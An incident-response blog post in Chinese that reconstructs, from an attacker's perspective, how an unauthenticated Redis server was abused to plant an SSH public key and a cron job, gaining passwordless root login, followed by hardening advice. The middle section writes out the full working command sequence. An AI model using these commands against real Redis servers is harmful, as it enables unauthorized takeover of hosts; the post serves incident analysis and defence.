【应急响应】redis未授权访问致远程植入挖矿脚本(攻击篇)

0 继续篇章

在上一篇【应急响应】redis未授权访问致远程植入挖矿脚本(防御篇)中,从防御的角度详细描述了应急响应以及流程。本篇继续从日志等入侵痕迹中分析,寻求突破,以一个攻击者的角度还原redis攻击,从未授权访问到写入ssh公钥直至控制整台服务器,进一步确定此次勒索事件的根本原因。

1 入侵痕迹

1.1 查看近期文件更改情况

查看最近一个月更改的文件

find -type f -mtime -30

1.2 服务器上查看可疑文件

使用root账号登录x.x.x.x,在根目录下查看ssh相关的可疑文件。

ls –al

进入ssh文件夹,查看ssh文件内容:

cd .ssh/ls –alcat authorized_keyscat authorized_keys_20170318cat authorized_keys.bak20170319

2 漏洞排查

2.1 bash漏洞扫描

从执行命令记录分析,可疑操作:测试bash远程解析命令执行漏洞的poc语句。

因此对该主机进行漏洞扫描,未发现存在bash漏洞。

2.2 redis未授权访问漏洞验证

使用redis客户端尝试连接x.x.x.x成功,且发现ssh公钥

执行服务器操作指令,获取redis以及服务器基本信息:

info

获取cat:

config get dir

设置redis备份路径(以此说明redis权限过大,具有root权限)

config set dir /root

3 攻击过程

通过结合服务器被入侵痕迹与漏洞情况进行分析,判定:主机x.x.x.x由于Redis未授权访问漏洞,造成SSH免密码登录。

为了更好地理解该主机如何被入侵至沦陷,现将模拟黑客手法还原整个攻击过程。

3.1 kali下本地生成公私钥

ssh-keygen -t rsa

3.2 公钥写入文件

(echo-e"\n\n";cat id_rsa.pub;echo-e"\n\n")>foo.txt

3.3 连接redis写入文件

cat /home/Yxiu/.ssh/foo.txt | ./redis-cli -h x.x.x.y -x set sectest20170410config set dir /root/.ssh/config get dirconfig set dbfilename"authorized_keys"save

3.4 redis客户端确认写入情况

sectest20170410写入成功

3.5 linux任务计划设置权限

有时候在利用redis写公钥后依然不能空密码登录,可能是由于authorized_keys的权限问题,可通过linux任务计划来设置权限为600

echo -e “\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n”|redis-cli -h x.x.x.y -x set 1redis-cli -h x.x.x.y config set dir /var/spool/cron/redis-cli -h x.x.x.y config set dbfilename rootredis-cli -h x.x.x.y save

3.6 ssh公钥成功空密远程登录

root@kali:~/.ssh# ssh -i id_rsa root@x.x.x.y

4 修复建议

<1>权限设置

将redis权限设置为最小化权限,禁止使用root权限运行。区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。

<2>端口设置

配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。

<3>强口令设置

对redis设置强口令,禁止未授权访问。

原文发布于微信公众号 - 我的安全视界观(CANI_Security)

原文发表时间:2017-12-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏小樱的经验随笔

【亲测有效】Win10家庭版Microsoft Edge页面出现乱码的两种解决方案及gpedit.msc命令无法使用的解决策略

昨天在爬取电影的时候生成的表单打开result.html时,发现页面出现如下乱码: ? 第一种方法: 上网找了半天,网上的解决方案是这样的: 1.Win + R...

4597
来自专栏http://www.cnblogs.com

linux服务器启动报错UNEXPECTED INCONSISTENCY解决方法

内网的linux服务器给开发员用来测试以及共享文件使用,今天早上发现xshell连接不上该服务器,一开始进入系统显示reboot and select prop...

38913
来自专栏网站漏洞修补

网站漏洞修复对如何修复phpcms网站漏洞

SINE安全公司在对phpcms2008网站代码进行安全检测与审计的时候发现该phpcms存在远程代码写入缓存文件的一个SQL注入漏洞,该phpcms漏洞危害较...

2012
来自专栏北京马哥教育

linux服务器安全配置实例(一)引言

云豆贴心提醒,本文阅读时间6分钟 引言 很多企业的服务器经常遭受到攻击,出现的攻击方式有:http服务攻击、操作系统漏洞溢出攻击、sql注入攻击等。 大多服务...

4428
来自专栏程序员同行者

esxi安装全过程及基本配置

链接: http://pan.baidu.com/s/1jIfg2yU 密码: qacv

2017
来自专栏黑白安全

密码的锅,Gentoo 发布 GitHub 仓库被入侵事件报告

之前我们曾报道过“Gentoo Linux 的 GitHub 仓库被入侵,意图删除所有文件”的消息,Gentoo Linux 的 Github 仓库在6月28日...

1222
来自专栏嵌入式程序猿

涨姿势:如何利用泰利特无线模块发邮件

随着物联网的大热,嵌入式开发中越来越多的产品需要加入无线的功能,今天我们就以泰利特无线模块HE910来讲讲如何利用泰利特无线模块通过AT指令操作来发送邮件。 准...

3327
来自专栏编程坑太多

悲观锁与乐观锁

1475
来自专栏linux驱动个人学习

linux内核完全剖析——基于0.12内核-笔记(2)-统一编址和独立编址

IO是什么 ? IO(Input and Output)是输入输出接口。是CPU和其他外部设备(如串口、LCD、触摸屏、LED等)之间通信的接口。一般的,我们说...

3776
来自专栏北京马哥教育

25个常用的Linux iptables规则

一些常用的 Linux iptables 规则,请根据自己的具体需要再修改。 # 1. 删除所有现有规则 # 2. 设置默认的 chain 策略 # 3. 阻止...

3547

扫码关注云+社区

领取腾讯云代金券